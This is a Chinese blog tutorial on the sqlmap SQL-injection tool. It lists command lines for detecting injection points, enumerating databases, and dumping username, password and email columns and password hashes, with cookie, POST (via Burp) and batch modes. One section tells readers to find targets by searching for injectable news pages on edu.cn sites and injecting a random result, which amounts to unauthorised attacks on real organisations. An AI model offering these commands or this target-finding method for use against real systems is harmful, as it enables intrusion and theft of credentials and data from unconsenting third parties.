sqlmap-注入神器的用法 - 一颗尘土
一、什么是sqlmap?
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
二、支持的数据库:
MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测
三、可支持的注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
四、sqlmap的使用
1.对url进行检测,判断是否存在SQL注入 python sqlmap.py -u "url" --batch
2.获取数据库 python sqlmap.py -u "URL" --dbs --batch 获取全部数据库 python sqlmap.py -u "URL" --current-db --batch 获取当前数据库
3.获取当前数据库里所有表 python sqlmap.py -u "URL" -D aaaDB --tables --batch (假设数据库库名为aaaDB)
4.获取表的字段 python sqlmap.py -u "URL" -D aaaDB -T users --columns --batch (假设表名为 users)
5.dump字段内容 python sqlmap.py -u "URL" -D wavsepDB -T users -C "password,username" --dump --batch (假设有字段:password,username) 如果字段内容多的话可以再加上如 --start 1 --stop 100 这样就取1-100条数据 --dump 可以换成 --dump-all则导出全部的内容
五、直接连接数据库语句:
sqlmap.py -d"mysql://admin:admin@192.168.66.88:3306/cccDB" -f --banner --dbs--users (库名为 cccDB)
六、cookie注入
sqlmap.py -u "http://127.0.0.1/test.php"–cookies "id=1" –dbs –level 2 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3 sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名) sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
七、sqlmap 结合burpsuite进行post注入:
结合burpsuite来使用sqlmap: (1)浏览器打开目标地址http://www.antian365.com (2)配置burp代理(127.0.0.1:8080)以拦截请求 (3)点击登录表单的submit按钮 (4)Burp会拦截到了我们的登录POST请求 (5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下 (6)运行sqlmap并使用如下命令:
python sqlmap.py -r post.txt -p tfUPass
(7)指定表单注入:
sqlmap.py -u URL –data“username=a&password=a”
八、延时注入
sqlmap.py -u "URL" --technique -T--current-user
sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u"url" –safe-freq /*请求2次*/
九、数据库常规操作
1.列数据库信息: --dbs 2.web当前使用的数据库 --current-db 3.web数据库使用账户 --current-user 4.列出sqlserver所有用户 --users 5.数据库账户与密码 --passwords 6.指定库名列出所有表 -D database --tables -D:指定数据库名称 7.指定库名表名列出所有字段 -D antian365-T admin --columns -T:指定要列出字段的表 8.指定库名表名字段dump出指定字段 -D secbang_com -T admin -C id,password ,username --dump -D antian365 -T userb -C"email,Username,userpassword" --dump 可加双引号,也可不加双引号。 9.导出多少条数据 -D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump 参数: --start:指定开始的行 --stop:指定结束的行 此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
十、批量检测
将目标url搜集并整理为txt文件,如图所示,所有文件都保存为test.txt,然后使用 “sqlmap.py -m test.txt”,注意test.txt跟sqlmap在同一个目录下。
十一、寻找注入目标:
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn。随机打开一个网页搜索结果,如果能够正常访问,则复制该URL地址,然后对其进行注入。
十二、检测
指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级(1-5,默认为1) --risk=RISK 执行测试的风险(0-3,默认为1) --string=STRING 查询时有效时在页面匹配字符串 --not-string=NOT.. 当查询求值为无效时匹配的字符串 --regexp=REGEXP 查询时有效时在页面匹配正则表达式 --code=CODE 当查询求值为True时匹配的HTTP代码 --text-only 仅基于在文本内容比较网页 --titles 仅根据他们的标题进行比较
十三、技巧
调整具体的SQL注入测试
--technique=TECH SQL注入技术测试(默认BEUST) --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) --union-cols=UCOLS 定列范围用于测试UNION查询注入 --union-char=UCHAR 暴力猜测列的字符数 --union-from=UFROM SQL注入UNION查询使用的格式 --dns-domain=DNS DNS泄露攻击使用的域名 --second-order=S URL搜索产生的结果页面
十四、DBMS版本指纹检查
-f, --fingerprint
十五、枚举
列举后端数据库管理系统的信息、表中的结构和数据 -a, --all 获取所有信息 -b, --banner 获取数据库管理系统的标识 --current-user 获取数据库管理系统当前用户 --current-db 获取数据库管理系统当前数据库 --hostname 获取数据库服务器的主机名称 --is-dba 检测DBMS当前用户是否DBA --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的DBMS数据库中的表 --columns 枚举DBMS数据库表列 --schema 枚举数据库架构 --count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb --dump 转储数据库表项 --dump-all 转储数据库所有表项 --search 搜索列(S),表(S)和/或数据库名称(S) --comments 获取DBMS注释 -D DB 要进行枚举的指定数据库名 -T TBL DBMS数据库表枚举 -C COL DBMS数据库表列枚举 -X EXCLUDECOL DBMS数据库表不进行枚举 -U USER 用来进行枚举的数据库用户 --exclude-sysdbs 枚举表时排除系统数据库 --pivot-column=P.. Pivot columnname --where=DUMPWHERE Use WHEREcondition while table dumping --start=LIMITSTART 获取第一个查询输出数据位置 --stop=LIMITSTOP 获取最后查询的输出数据 --first=FIRSTCHAR 第一个查询输出字的字符获取 --last=LASTCHAR 最后查询的输出字字符获取 --sql-query=QUERY 要执行的SQL语句 --sql-shell 提示交互式SQL的shell --sql-file=SQLFILE 要执行的SQL文件